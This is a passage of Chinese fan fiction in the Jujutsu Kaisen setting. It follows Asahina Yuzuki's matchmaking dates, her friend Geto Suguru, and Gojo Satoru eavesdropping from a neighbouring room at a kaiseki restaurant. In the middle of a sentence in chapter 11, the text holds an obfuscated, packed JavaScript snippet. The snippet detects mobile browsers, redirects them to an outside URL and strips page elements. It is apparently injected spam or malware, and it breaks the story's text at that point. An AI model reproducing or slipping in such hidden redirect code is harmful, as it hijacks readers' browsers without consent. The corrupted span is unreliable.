A,我和东京今天迟早要炸一个。”她苦大仇深地低头看了一眼散发着强烈酒精味的拿铁,恶狠狠地咕嘟咕嘟灌下两大口。 夏油杰没有再说什么。 只是把原本打算推给她的那杯黑咖啡暂时留在了自己手边。 “我的相亲对象,越想越觉得他有问题呢。”她恶狠狠地咬了一口羊角包。 “长得又帅、背景清白、职业正常、性格幽默有趣还是个不趁人之危的正人君子——在我需要他的时候这好从天而降的拯救我——这种偶像剧一样的发展,偶像剧男主一样的男人,根本就不可能是真实的嘛!” 夏油杰笑眯眯地伸手用指尖拭去她的唇边的面包屑,若无其事地放下手:“听起来问题很严重呢。 “是吧?而且现在想想,他当时的出场真的很奇怪?哪有人大晚上走路还戴眼罩啊,假装成帅气盲人大哥哥想当街碰瓷吗?” 她的男闺蜜还没来得及咽下去的那口茶就这样呛到了他自己。 “而且,他真的,太神秘了吧——我们都见了三次了,三·次·了啊杰!而且不是那种匆匆见面的三次,是每次见面都相处了至少三四个小时,还是他在说的那种约会,我对他还是完全不了解!” 在他终于止住轻咳的时候,她一副终于想通了什么的表情,握紧了拳头,表情坚定地看着夏油杰说:“鉴于东京这块有毒的土壤实在养育不出来什么正常男人,所以,杰,我觉得他——” 夏油杰似乎猜到了她准备说什么,眼神鼓励着看着她,风轻云淡的再一次抬手举起了茶杯。 “不会当时在和什么有钱贵妇刚玩完cosplay就来找我了吧?” “——噗、咳咳咳咳咳!”这杯来不及喝下第二口的茶再一次把她男闺蜜呛住。 朝日奈结月一边体贴地替男闺蜜顺背,一边继续分享她的总结:“又或者他同时在谈三个女朋友?我只是比较适合未来结婚的备选项?” “总不能是他其实早就早婚生子,我‘被小三’了吧?!” 夏油杰默默把茶杯推到了桌子另一边,忍着笑意,眼神无奈地看向朝日奈结月:“结月酱。” “嗯?” “这些猜测都很……有意思。但是我建议你换个思路呢。”他循循善诱。 她眼睛一亮:“所以果然还是他有什么隐疾,比如年纪轻轻就不行什么之类的吧?” 结月头一次在男闺蜜脸上看见这么无可奈何的神情。 “这么想要知道答案,也许结月酱亲自去问问他本人会更好呢?” 朝日奈结月睁大眼睛,仿佛听见了什么不可置信的话,缓慢而坚定地摇头:“问他?不可能。绝对不可能。我不会再给他一条短信,再见他第四次了!” “但是从刚才坐下,一直到现在,结月酱已经和我聊了快一个小时,全都是关于这位相亲对象哦?” 第一次这么狼狈呢,朝日奈结月。 面包屑吃到了面颊上。咖啡还洒了一点在新买还没穿两天的裙子上。 “是对他一见钟情了吗,结月酱?” 像是将自己包裹在一个轻飘飘的气球里,然后那个气球就这样一下子被针尖‘噗的’戳破了。 之前大学时有一堂心理学的选修课,其中一期讨论主题是‘你相信一见钟情还是日久生情。’ A或者B,全班只有朝日奈结月一个人选了C。 “老师,爱情本身是伪命题。” 她镇静自若地走向讲台,面上噙着一贯无可挑剔的笑容:“所谓强烈的心动其实是大脑分泌了多巴胺。去甲肾上腺素会让我们感到心跳加快和脸红。内啡肽和催产素会让我们渴望拥抱、做-爱、并且会产生‘强烈想见到对方’的心情。” 那时的朝日奈结月用着最冷静的医学字眼,不留情面的‘拆穿’着她心里关于‘爱情’的假面。 那时候自己的言论像回旋镖在这一刻扎在了她的心口上。 “怎么可能?”朝日奈结月嗤笑了一声,把杰那杯冷掉的茶一口气喝掉:“我怎么可能会对谁一见钟情?虽然我也不知道这种心情是什么,但是——” “喜欢一个完全不了解的人?根本就不可能啦。”她一锤定音。 夏油杰没有开口,只是淡笑着看着她,眼里浮现出一种了然的、高深莫测的情绪。 “干嘛用这种眼神看着我啦,杰。说起来,杰有过什么喜欢的人吗?认识这几年,好像都没有看你和谁谈过恋爱呢。”她心虚的将话题引到了他的身上。 “喜欢的人吗?”他先是不紧不慢的把这个字复述了一遍。 “嗯啊。” 他垂落眼睫,沉默了有那么几个呼吸的瞬间,而后抬眼看向她,浅浅地笑:“有呢。” “诶——?”她敏锐的捕捉到他没有用过去式。 “不过她不知道。也暂时……不准备让她知道。” “为什么啊?不告白不去试试怎么知道答案呢?”她不赞同地看着他:“杰这么好看这么温柔的男孩子,根本就不可能有女孩子拒绝你吧。” 他笑而不语地摇了摇头。 “不要当让我瞧不起的胆小鬼呢杰。”她鼓励地拍了拍他的肩膀:“而且,如果你不去告白,她和别人在一起的话,心里会很难受吧。” “习惯了呢,结月酱。”他用宠溺又无奈的语气这样回答:“习惯了她每次都选择另一个人。” 他的用词有点奇怪。‘每次’和‘另一个人’,她自动把这个翻译成了:这一个和很多人谈过很多次恋爱的女生。 “听起来是个渣女呢。那杰还是不要喜欢她好了。”她嫌恶地皱眉,替男闺蜜打抱不平:“所以杰到底是为什么喜欢她?” “喜欢一个人是没有原因的呢,结月酱。”他眉眼弯弯地笑着,温柔地投喂了她一块蔓越莓饼干:“不喜欢才会有理由。” “所以结月酱对自己相亲对象到底是什么一种感受呢?想清楚了吗?”他耐心的、慢条斯理地问她。 她这一次沉默了格外的久。 “我不知道这种心情和感受到底是什么,我从来也没有喜欢过谁呢,杰。”也许是陷入了某种思绪,她的声音听起来像是梦游一样轻。 “可是已经开始好奇了……” 她忽然停顿在这里,放空似得长久的沉默。 夏油杰没有催她。 他只是安静地坐在那里,像是早就习惯了这种需要时间才能落地的思考。 直到她的视线重新聚焦,他才顺着她的话,温和地问了一句: “好奇什么?” 她正想回答,咖啡厅门边的风铃忽然响了一声。 清脆、短促,像是被人随手拨动。 朝日奈结月的注意力被吸引过去,下意识抬起头—— 门被推开,四个穿着高中生校服的少年少女一股脑地闯了进来,带着还没散干净的晨间凉意和过盛的精力,声音比人先一步填满了空间。 背着库洛米书包的女孩几乎是蹦着进来的,鞋底在地板上蹭出一声轻响。她一边笑一边回头去追前面的少年,书包在身后晃得厉害,差点撞到门口的绿植。 “你给我站住——!” 被追的少年夸张地“哎哟”一声,故意放慢脚步,在她快要抓到的时候猛地转身,一手捂着脑袋装作被打疼,另一只手却以迅雷不及掩耳之势伸出去,捏了一把少女的脸。 “喂!!” 女孩立刻炸毛,伸手去打他,力道却明显收着 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她自己都没有察觉,视线在那几张年轻的脸上停留得比必要的时间久了一点。 身旁的人没有立刻出声。 夏油杰顺着她的目光看了过去。 他的视线落在那群学生身上,很安静地停了一会儿。 那一瞬间,他的神情没有明显变化,却像是被什么极轻地拽了一下——不是突兀的失神,更像是短暂地,被某段并不完整的画面触碰到。 很快,他便收回了目光。 像是什么东西被妥善地放回了原处。 “结月。” 他这才低声唤了她一句,声音放得很轻,刻意避开了那份喧闹的边缘。 她回过神来,侧过头,对他弯了弯眼睛:“抱歉,走神了。” “没关系。”他说。 语气温和而克制,没有追问她在想什么,也没有试图替她解释情绪。 只是很自然地,把这一点短暂的停留,当成一件不需要被打断的事情。 “会很好奇。”她重新开口,像是终于找回了刚才被打断的那条思路。 “好奇他以前是什么样的人。” 是每次考试拿第一的优秀三好学生吗?还是喜欢逃课去网吧揪前桌女孩小辫子的坏小子? 他会有早恋对象吗?以前有过暗恋的女同学吗?应该从小就收到了很多情书吧? “也许是还不够了解。可是见面这几次,他总是一副……游刃有余的样子。就算是笑声很夸张,也感觉和他始终隔着点什么。” “会试图想象他学生时期的样子。可是我甚至想象不出来。” 咖啡已经冷了。 掺了酒的冷咖啡,喝起来似乎比黑咖啡还要苦。 “有时候会很遗憾啊,杰。我没有大学以前的记忆。我不知道什么是同窗友谊,我没有从小一起长大的幼驯染,我见不到身边的人,最青涩纯真时期的模样。” “我是一个没有青春的人呢,杰。” 这句话落下的时候,夏油杰没有立刻回答。 他端着杯子的手停了一下,随后将杯子放回桌面。杯底与桌面相触时发出一声极轻的声响,很快被背景音吞没。 他没有第一时间看向她。 而是伸手,将她面前那杯已经彻底冷掉的威士忌拿铁缓缓挪开了一点。 动作很慢,也很克制,像是在确认她并不抗拒。 然后,他把自己那杯还温热的黑咖啡推到了她手边。 “结月。”他叫她名字的时候,语气比刚才低了一点。 她抬起头。 夏油杰这才对上她的视线,目光沉静而温和,没有回避,也没有怜悯。 “不是没有。”他说。 声音不高,却很清楚。 “只是你不记得了。” 这句话并不锋利,却让她微微怔住。 “记忆缺席,不代表它不存在。”他继续说道,语速很慢,像是给她留出足够的呼吸空间,“你现在会被这些触动,说明它只是换了一种方式留下来了。” 结月低头看着那杯被推到面前的热咖啡,指尖无意识地贴上杯壁。 温度顺着指腹蔓延开来。 “而且,”他停顿了一下,像是在斟酌用词,“青春这种东西,总是会落幕的。” 11. 第 11 章 那天以后,朝日奈结月以为自己真的不会再和五条悟见面了。 他早上发给她的 LINE,她看了又看,删了又写——最后停在输入框里,像被卡住的针脚。等她终于想好措辞,时间已经过去太久,连“现在回会不会显得很刻意”都变成了新的负担。 她没有回。 他竟然也没有再发。像是在等她自己顺着命运的线走回到他面前。 最开始那几天,她会像被下了降头一样——在吃饭的间隙,在画画的时候,甚至连淋浴的中间都会拧掉水龙头,鬼使神差地瞥一眼手机。 是在等谁不期而至的短信吗? 她不知道,也不敢深究。 只是一遍又一遍地告诉自己:果然是这样。本来就该这样。哪有一个高大帅气、性格幽默、还偏偏符合她全部择偶标准的“普通高中老师”,那么恰好地出现在她的世界里,恰好地对她笑,恰好地对她好—— 要是一切都能幸运到这种程度,她还不如去买彩票等着中个几千亿的大奖。 ——就这样一直单下去好了。 “你和后藤先生怎么样了?”养母一边择菜一边随口问,明显还不知道他们已经两个礼拜没联系了,连姓都记错了。 结月也懒得纠正:“不太合适。” 她给了一个中规中矩的敷衍借口。 养母却没放过她,像是终于等到了某个切口,立刻把话接得严丝合缝—— “那就再多见见,总能找到的。你这个年纪,再拖下去就真的很难了。” 结月叹了口气,抬眼:“妈,我们能不能不要把结婚当成 KPI。” “我不是催你,我是担心你。” 养母皱着眉,手里的菜也不择了,像是终于忍不住把憋了几天的话摊开,“你最近……是不是太倒霉了?” 结月动作一顿。 倒霉。 这个词被说出口的时候,她的后颈莫名一凉,像有人用指腹轻轻刮过神经。 她不信命,更不信“倒霉体质”,但这段时间的运气,确实差得离谱。 先是差点被高空坠落的花盆擦着肩砸下来——只要她晚一步抬头,她引以为傲的脸就会先一步报废;再是绿灯过马路走到一半,旁边一辆车突然失控冲上来,刹车声尖锐得像要把耳膜割开。 那一刻她甚至没有思考。 身体先一步动了—— 她几乎是本能地侧身、撤步、错开,动作利落得不像她自己。等人群尖叫涌上来,她才后知后觉发现,自己站在安全线外,心跳却安静得可怕。 像是某种“应该这样”的肌肉记忆。 也像是,有什么东西在逼她“活下来”。 她把这种不舒服的联想压下去,故作轻松地扯了扯嘴角:“大概最近水逆。” 养母显然不吃这一套。她盯着结月,眼圈却有点红,语气变得更硬——不是封建迷信的硬,而是那种害怕失去的硬。 “那就更别再一个人硬扛了。你不是一直想谈一段普通人的恋爱吗?那就认真去见面——哪怕只是吃顿饭,让我放心也好。” 结月张了张嘴,本来想说“我一个人也可以”,却在看到养母发白的指节时把话吞了回去。 她忽然意识到:她不信命,可养母信的是她会不会出事。 于是她妥协得很轻,也很干脆。 “……好。” 她说,“我再去见一次。” 不是因为“大师说你有劫”。 也不是因为“她终于信了玄学”。 而是因为——她太讨厌这种被动的失控感了。 她需要用一次“正确的、规矩的、不会出错”的相亲,把自己从那段荒唐又灼热的夜里,拽回到她擅长的生活轨道上。 就当作……把故事关上盖子。 ——朝日奈结月准备最后尝试一次相亲。 这一次,是在新桥。 一家以“安静”“规矩”“不会出错”而出名的怀石料理店。门口的风铃声清淡得几乎听不见,服务生的脚步声也被榻榻米吞得干干净净,连空气里都透着一股被精心打磨过的克制。 她对面的男人,正是养母口中“条件非常不错”的那一类。 工作稳定,性格老实,说话时永远保持着恰到好处的音量,不会越界,也绝不主动靠近。他用餐时的动作像是被礼仪书校准过,连夹起一片生鱼片的角度都一丝不苟。 “朝日奈小姐平时休息的时候……喜欢做些什么?” “画画。” “啊,是兴趣爱好吗?” “算是工作。” “那一定很辛苦吧。” 他点头,露出一个理解却并不真正好奇的微笑。 话题在安全的范围内来回打转,像一场永远不会发生意外的例行公事。她几乎能预见接下来的一切——下一道菜、下一个问题、以及最后那句“如果有机会,希望可以再见面”。 结月低头抿了一口清酒。 味道很好,却让人记不住。 就在这时,她忽然停顿了一瞬。 不是因为对方的话。 而是—— 一种很微妙的感觉。 像是被什么看着。 不是正面的、礼貌的注视,也不是带着评估意味的打量,而是一种更放肆、更漫不经心的目光。那视线并不急切,却存在感强得让人无法忽视,仿佛只是随意地落在那里,就足以扰乱呼吸的节奏。 她下意识抬眼,看向包厢的隔墙。 纸门紧闭,什么也看不见。 结月轻轻皱了下眉,又很快把这种荒谬的错觉压了下去。 大概是最近太累了。 *** 而就在她毫无察觉的隔壁包厢里—— “所以,”家入硝子把筷子随手搭在碗沿,语气平静得几乎有些冷淡,“你为什么突然提议聚餐?” 桌对面,七海建人正低头看着面前那份明显“规格过高”的菜单,眉心微不可察地蹙了一下。 “而且还是在新桥。” “而且还是怀石料理。” 硝子补了一句,侧过脸,看向某个从刚才开始就异常安静的人。 五条悟靠在座位上,一条长腿随意伸开,手肘撑着桌沿,下巴托在手背上,神情懒洋洋的,像是在听,又像是根本没在听。 “诶——不要这么冷淡嘛。”他拖长了语调,“偶尔聚一下不是很好吗?” “理由。”硝子说。 “庆祝GTG高中毕业十周年?” 七海的动作停了一下。 “……今年并不是整十年。” “哎呀,细节不要在意啦。”五条悟笑眯眯地摆了摆手,“而且你们不觉得怀石料理很适合‘回忆青春’吗?” 硝子没有接话。 她只是顺着五条悟的视线方向,极其自然地、像是随意一瞥般,看向了前方包厢的位置。 然后,她心里“咔哒”一声。 ——原来如此。 五条悟的目光并不遮掩,甚至称不上刻意。他只是看着,像是理所当然地把注意力放在了那里,偶尔还会微微偏头,仿佛在听什么有趣的声音。 “你和你那个相亲对象,怎么样了?”硝子忽然开口。 五条悟“唔”了一声,像是才想起这个话题似的。 “慢慢来嘛。” 他说得轻描淡写。 “不然会吓跑她的。” 七海抬眼看了他一瞬,没有说话。 硝子却笑了笑,那笑意里带着点医生特有的冷静与审视。 “最近看你一直在加班。”她慢悠悠地说,“不会是……一直都没联系她吧?” 五条悟终于把视线收了回来。 他侧过脸,黑色眼罩将所有情绪都遮蔽得严严实实,只能看见他嘴角勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177038|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一个轻佻却笃定的弧度。 “不着急。” 他说。 语气自然得像是在陈述某个早已确定的事实。确定她只会和他在一起。 硝子看着他,没有拆穿。 只是心里无声地叹了口气。 ——真是最糟糕、也最无可救药的那一型。 “说起来,”家入硝子忽然换了个姿势,背靠榻榻米,语气依旧漫不经心,“最近高层给你塞的那些麻烦事——” 她停顿了一下,像是在斟酌措辞,又像只是故意吊人胃口。 “该不会,是因为你和夏油的合作吧?” 七海建人的眉心几不可察地收紧了一瞬。 空气安静了半拍。 “和‘最恶咒诅师’合作这件事情……”硝子轻轻啧了一声,语调冷静却毫不客气,“怎么想都太不靠谱了吧?高层那帮老家伙没当场掀桌子我都觉得是奇迹。” 她侧过脸,看向五条悟。 “夜蛾居然也答应了。” “说起来,”她继续道,“他的悬赏令是被你撤掉的吧?你们两个——” “——到底在密谋什么?” 五条悟笑了。 那笑容来得毫无预兆,像是听到了什么再普通不过的玩笑。 “诶?密谋?”他夸张地拖长了尾音,抬手随意地晃了晃,“硝子酱讲话好可怕哦~我只是个每天被工作压榨的可怜教师而已啦。” “而且‘最恶咒诅师’这种称呼也太过分了吧。”他歪了歪头,语气轻佻得近乎敷衍,“现在不是讲究人才再利用吗?环保一点不好吗?” 七海:“……” 硝子盯着他看了几秒,忽然失去了继续追问的兴趣。 “算了。”她叹了口气,“反正你也不会说实话。” 她的目光在五条悟身上停留了一瞬,带着某种近乎医生本能的审视。 “越来越看不透你这家伙了。” 夹了片黄尾鱼生鱼片,七海瞥了一眼五条悟,淡淡地接着硝子的话说:“除了夏油,他只有在她面前是不一样的。” 这句话回响在包厢里的那一瞬间,空气似乎一下子结了冰,安静得彻底。 听到这个禁忌的名字,硝子第一反应是摸向口袋里的烟。 “她只能当一个不能知道咒术届存在的‘普通人’,七海。五条和她没可能的。” 这句话落下的瞬间,五条悟脸上的笑意,忽然消失了。 不是刻意收敛。 而是像从一开始就只是挂在那里,现在被人随手取下。 黑色的眼罩依旧覆着他的眼睛,将那双苍蓝色完全遮蔽。失去了表情的五条悟,整个人却反而变得更加醒目—— 线条锋利的下颌,抿紧的唇线,五官沉静得近乎冷酷。那是一张在不笑的时候,会让人本能地意识到“危险”的脸。 淡漠到会给人以‘倨傲’的错觉,那样晦涩而疏离。 像是某种遥不可及又无法琢磨的存在。 即便什么都没做,什么都没说,也足够令人心生寒意。 却偏偏—— 依旧好看得过分。 过了几秒,他才重新勾起嘴角,语气恢复了惯常的轻松。 “别这么说嘛。” “万事皆有可能哦?” *** 而此刻,前方包厢里。 朝日奈结月放下筷子,忽然觉得有些坐立不安。 那种被注视的感觉,不但没有消失,反而愈发清晰。 仿佛有人隔着薄薄的墙壁,隔着礼貌与距离,带着一种她再熟悉不过的、危险又漫不经心的专注,看着她。 她端起茶杯,指尖微微收紧。 心跳,在无人察觉的地方,乱了一拍。 不是因为眼前这个人。 而是因为—— 那个她明明已经下定决心,不再去想的名字。 12. 第 12 章 也许是因为朝日奈结月的外表太具有欺骗性,男人们总是很容易对她一见钟情——然后开始俗套的穷追不舍,死缠烂打,以为她很容易被那种‘廉价的爱’打动。 就像这个相亲对象,才聊了一个小时不到,已经开始用那种沦陷的、沉迷的眼神不可自拔地凝视着她的面孔。 “所以,朝日奈小姐喜欢什么类型的男人?对自己未来那一半有什么要求吗?”说着这句话的这位斋藤还是伊藤先生,一直不受控制地凝视着她。 她的轮廓生得极好。 线条精致,却不过分锐利,是那种昭和年代美人常有的、楚楚可怜的柔美。肤色白净,偏偏嘴唇红滟。 最容易让人失去判断力的,是她的眼睛。 眼尾微微下垂,看人时总像覆着一层薄薄的水光,柔软得近乎无辜。那种湿润感并不张扬,却会让人下意识放低警惕,误以为她情绪透明、心思单纯,只要语气再轻一些,就能轻易靠近。 “要求?有的呢。”她弯着眼睛,露出招牌的无可挑剔的笑容,刻意停顿在了这里。 “请朝日奈小姐放心地说。只要能满足的——我一定尽可能满足朝日奈小姐。不管做什么都可以。” 明明连她是什么样的人都不了解。明明连她即将说出口的要求都不知道,就这样武断承诺的男人,真是令人厌倦。 幸好,这一次出来相亲,结月给自己准备了完美且‘礼仪周到’的撤退方案。 “坦白来说,”她用真诚的眼神望着这位她忘记是叫斋藤还是伊藤的男人:“我是一个性格很孤僻的人呢。所以朋友很少。严格意义上,我只有一位友人。” 这个话题似乎有些跳跃,对面老实巴交的男人有些费劲的努力跟着她的思路:“啊,没关系没关系!只要是朝日奈小姐的朋友,那也是我的朋友!” 于是可怜的先生就这样一脚踏进了结月的陷阱里。 “真的吗?”她露出一个惊喜的神情:“我刚还想说,我唯一的要求,就是我未来的伴侣一定要将我最好的朋友,也视为他最好的朋友。因为我这位朋友,对于我而言,着实是不可替代的呢。” 这个走向显然是这位老实人没有想到的:“啊这个……没有关系没有关系。虽然我的朋友很多,好朋友也很多,但是多一位好朋友也——” 结月微笑着打断他的话:“不是多一位好朋友哦。是我的好朋友一定要是我未来男朋友唯一的·最好的·朋友呢。” 这位先生正在搜肠刮肚的找词汇:“啊这个……朝日奈小姐的要求,是否有些……” “我之前说过了吧,我是一个性格很孤僻的人呢。所以并没有兴趣再去认识先生你的朋友了。而我和我的好朋友,我们每周都有固定的活动日呢。” “活动日?” “对。”结月轻飘飘地笑:“有的时候我们会一起去看电影。有的时候我们会一起去游乐园,迪士尼或者USJ,如果出了我喜欢的限定动漫主题。” “当然,以为我是一位画家,所以很经常会去看展。所有的画展、漫展、博物馆、我都会和我的好朋友一起去。失眠的时候我可能也会率先选择给他打电话,毕竟他是我唯一信任的人。” “冒昧的问一下,朝日奈小姐的这位友人,性别是?” 结月笑得无辜又坦荡:“是个可爱的男孩子呢。” “所以——”朝日奈结月一副正襟危坐的认真表情看着面前这位血色褪尽、面色格外苍白的老实先生。 “如果您可以接受和我的这位好朋友一起——” 朝日奈结月着实没想到这位老实人会豁出去,就这样下定了决心用把自己祖传房产卖掉的语气对她说:“我、我、我可以尝试!” ……棒极了。 没关系。她还有底牌。 “真的吗?”她勉强维持着唇边礼貌的笑容:“正好他在附近哦。可以把他叫来,一起吃饭吗?” “毕竟,交朋友这件事情,是双向的哦。”她笑靥明艳:“我的这位友人,朋友圈和我一样狭小。” “据我所知,除了我这位女性友人以外,他也只有一位不可替代的具有唯一性的挚友。” 结月状似忧郁地叹气:“就连我……也没有见过他的挚友呢。” “那就祝这位先生好运了。” *** 在将近二十分钟的尬聊后,结月终于等来了她的救兵。 “我朋友到门口了呢。我让他进来了哦。” 下一秒,纸门被无声地拉开。 没有预想中的敲门声,没有礼貌的“失礼します”。门扉滑开的动作流畅得近乎突兀,却又带着一种奇异的、不容置喙的理所当然。 一道身影,就这样出现在了斋藤先生的视线里。 一种难以言喻的、粘稠而冰冷的气息,如同无声涨潮的深海暗流,悄然淹没了这个原本只有礼仪性温暖的密闭空间。 面前的男人很高,乌玉般的长发顺着颈侧蜿蜒而下,有着一张令人过目难忘的极为清隽的面孔。 是夏油杰。 但并非结月平日所见的、穿着休闲服、眉眼弯弯的“杰”。 斋藤——姑且称他为斋藤先生——莫名地打了个寒颤,下意识伸手摸向了手边的热茶。 他嘴角似乎噙着一丝极淡的弧度,但那笑意并未抵达眼底。那双细长的眼眸缓缓扫过室内,目光掠过脸色发白的斋藤时,如同掠过一件无关紧要的家具,没有丝毫停顿,最终落在了朝日奈结月身上。 那一瞬,他眼底冰川般的冷意,似乎微微融化了一线。 “结月酱。”他开口,声音温和依旧:“等很久了吗?” 斋藤先生已经完全呆住了,嘴巴无意识地微张,视线在夏油杰的袈裟和长发上来回游移,显然无法将眼前这个充满宗教肃穆感以及某种他无法理解的危险气息的男人,与“可爱的男孩子”这种描述联系在一起。 结月则是在心底悄悄松了口气——来了,她的救星,虽然今天的救星看起来……格外有“杀气”。 “没有哦,杰。”她扬起笑容,语气熟稔,“这位是斋藤先生。斋藤先生,这就是我最好的朋友,夏油杰。” 夏油杰这才将目光正式转向斋藤,微微颔首,动作优雅却带着一股自上而下的疏离:“初次见面。” 斋藤被那目光一扫,竟有种被冰冷蛇类掠过的错觉,背脊的寒毛都竖了起来,慌忙起身鞠躬:“初、初次见面!我是斋藤!请、请多指教!” 夏油杰没有回应他的慌乱,径自走到结月身旁的空位,姿态从容地坐下。袈裟的衣袖随着动作展开,那清冷的檀香越发清晰。 他并没有看菜单,也没有关注桌上几乎未动的料理,只是侧过头,用一种只有两人能懂的、谈论天气般的自然语气对结月说: “上周你说的,塞尚那幅《圣维克多山》的早期版本,下个月会在根津博物馆 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只是,那双细长的眼睛微微眯起了一些,落在斋藤脸上的目光,如同冬日湖面上最薄的一层冰,清澈,幽深,底下却涌动着足以吞噬一切的寒意。那不是威胁,而是一种更本质的、源于生命层次差异的漠视,仿佛在审视一只不慎闯入的不合时宜的飞虫。 斋藤剩下的话全部噎在了喉咙里,脸色由白转青,额角甚至渗出了细密的冷汗。 他感到一种近乎本能的恐惧,仿佛再多说一个字,就会发生什么极其可怕的事情。他猛地低下头,避开了那道目光,再不敢发出任何声音。 夏油杰这才重新看向结月,仿佛刚才那令人窒息的一瞥从未发生,语气恢复温和:“还是说,你更想去上野看看新来的熊猫幼崽?听说很活泼。” *** 与此同时,仅一墙之隔的包厢内。 原本靠在座位上、姿态懒散的五条悟,忽然毫无预兆地低笑出声。 那笑声不大,却带着一种发自肺腑的、毫不掩饰的愉快,甚至让他肩膀都微微抖动起来。 在这间充斥着硝子冷静分析、七海沉默用餐、整体气氛略显凝重的空间里,显得格外突兀。 家入硝子舀了一勺海胆饭的手顿在半空,侧目看他,眼神里写满了“你又发什么神经”。 七海建人也抬起眼,推了推眼镜,冷静的目光中透出一丝无声的询问。 “啊啦,抱歉抱歉~”五条悟抬起一只手,随意地摆了摆,脸上灿烂的笑容在黑色眼罩的对比下显得格外耀眼。他用那种标志性的、轻快又拖长的语调说道: “只是突然……想到了一些让人心情超~~级愉快的事情呢。” 他没打算解释具体是什么事,只是自顾自地笑得越发开心,仿佛独享了一个全世界最好笑的笑话。笑了一会儿,他像是忽然想起什么,利落地站起身来,高大的身影顿时给狭小的包厢带来一股压迫感。 “嘛,突然想起来还有个麻烦的任务要处理。”他语气轻佻,毫无诚意地抛下理由,“账我已经结过了哦,你们俩慢慢吃,最好再点瓶贵的清酒~” 说完,也不等硝子和七海反应,他单手插兜,迈开长腿,就这么悠悠然地拉开了包厢门,身影很快消失在走廊转角。留下身后两人面面相觑。 硝子沉默地拿起酒杯,抿了一口,半晌才淡淡道:“……绝对和隔壁有关。” 七海没有接话,只是重新拿起筷子,动作一如既往地一丝不苟,仿佛刚才那个笑得像个恶作剧得逞的大男孩、又突然离席的最强咒术师的离席,一点也不会影响他继续细细品尝这顿人均五万日元的晚餐。 13.第 13 章 有的时候,朝日奈结月觉得自己的身体里住着一个怪物,盘踞在心底最不透光的角落,和失去的记忆一起被封印着。 直到最近。 她变得越发不像自己,又或者是,她再缓缓地找回以前的自己。 ——竟然就这样冷漠又矜傲地彻底无视了这位让她索然无味的斋藤先生,旁若无人的和男闺蜜从塞尚、聊到了大熊猫、然后话题又转回到了‘挚友’这个话题上。 在这样尴尬的令第三者窒息的用餐环境下,斋藤几乎是落荒而逃,借口要‘加班’,却连最后的‘再见’都说的结结巴巴。 包厢门被他慌张地带上,发出一声不大不小的轻响,随即彻底隔绝了外面世界。空气里那令人窒息的压迫感也随之消散,只余下清冷的檀香,和满桌未动几筷的精美料理。 朝日奈结月长长舒了口气,讨人厌的家伙总算走了,再也不要给自己找不痛快了。 她拿起已经凉透的茶喝了一口,抬眼看对面神色恢复平静的夏油杰。 “杰,你刚才……”她轻笑看着和自己默契演戏的男闺蜜,斟酌着词句,“是不是有点太吓人了?” 夏油杰拿起茶壶,姿态优雅地为她换上新的热茶,语气平和得仿佛刚才只是拂去了一片落叶:“有吗?我只是正常地回答了结月的问题。”他抬眼,对她微微一笑,“况且,效果不是很好吗?” 确实很好。好到那位斋藤先生大概这辈子都会对“相亲”、“最好的朋友”、“看画展”这些词产生心理阴影。 结月托着腮,视线落在夏油杰沉静的侧脸上。 好奇心忽然像藤蔓一样悄然滋生。她再一次想起他刚才提过的,那位唯一的、她从未见过的挚友。 “杰,”她轻声开口,指尖无意识地摩挲着温热的杯壁,“你之前说的,你那位‘不可替代的挚友’……你们现在,算是和好了吗?” 夏油杰执壶的手几不可察地顿了一下,随即恢复流畅。他为自己也斟了一杯茶,氤氲的热气模糊了他低垂的眼睫。 “算是吧。”他的声音很淡,听不出什么情绪。 “你们当初……到底因为什么吵架?能严重到这么多年都不联系?” 结月是真的好奇。在她印象里,杰总是温柔、包容、几乎从不与人交恶。能让他如此决绝,一定是某一方触碰到了对方无法再去妥协分毫的底线。 夏油杰沉默了片刻,他垂落眼睫,视线长久地停驻在桌面上虚空的某一点,仿佛被湍流的回忆拧拽着下坠。 她以为这么长久的沉默是在酝酿什么恨海情天的狗血过往,为自己又兴致勃勃地续满了一杯茶,全神贯注地等待男闺蜜‘讲故事’。 “很复杂呢。”他最终开口,声音一如既往的温和低柔,却点到为止,半个字都没有再说了。 “有多复杂?”结月追问,身体微微前倾,不肯放过这个话题。 夏油杰抬眼看向她,那双总是含着温和笑意的眼睛里,此刻沉淀着一些更深、更暗的东西,像是深潭底部无法被阳光照亮的区域。 “因为……理念不合。”他缓缓说道,每个字都像是仔细权衡过,“当时的我,做了一件……在很多人眼里,或许非常过分的事情。” 理念不合?过分的事情? 结月的想象力开始驰骋。结合杰现在这身打扮和隐隐透出的气场,一个离谱但似乎又能解释“绝交”的念头蹦了出来。 她眨了眨那双天生带着无辜水光的眼睛,压低声音,小心翼翼地问:“难道……你帮他考试作弊被抓?” “……” 夏油杰失笑:“我在结月眼里是这样的形象吗?要比这件事情更坏一点呢。” ——更坏一点? 结月继续认认真真地猜:“你明知道他喜欢的女生是谁,但是你也喜欢所以,想挖墙角对不对!” 他的表情微怔,依旧没有肯定她的猜测,却也没有出口否认了,结月觉得自己越发接近真相了。 她了然的‘啊’了一声:“我明白了!那就是你光明正大的抢了他女朋友?!” 夏油杰脸上的平静表情出现了一道细微的裂缝。他定定地看着结月,那眼神复杂得难以形容——混杂着愕然、荒谬,以及一丝几乎要满溢出来的无奈。 “难道——你背着他把他女朋友睡了还让他喜当爹?” 她实在想象不出来自己的男闺蜜能坏到哪里去——在感情里当一个人神共愤的渣男是她能想出来的他有可能做的最坏的事情了。 几秒钟后,他扶住额头,低低地笑出声来。不是平时那种温和克制的笑,而是真正被逗乐了的、从胸腔里震出来的笑声,甚至让他肩膀都微微抖动,连带着柔顺的黑发也滑落几缕。 “噗……咳咳,”他好不容易止住笑,抬起眼,眼角似乎还残留着一点笑出来的湿意,看向结月的目光充满了难以言喻的纵容和无奈,“结月酱……脑补的很好呢。” 他顿了顿,用那种特有的、温柔又带着点促狭的语气补了一句:“下次……还是别脑补了。” 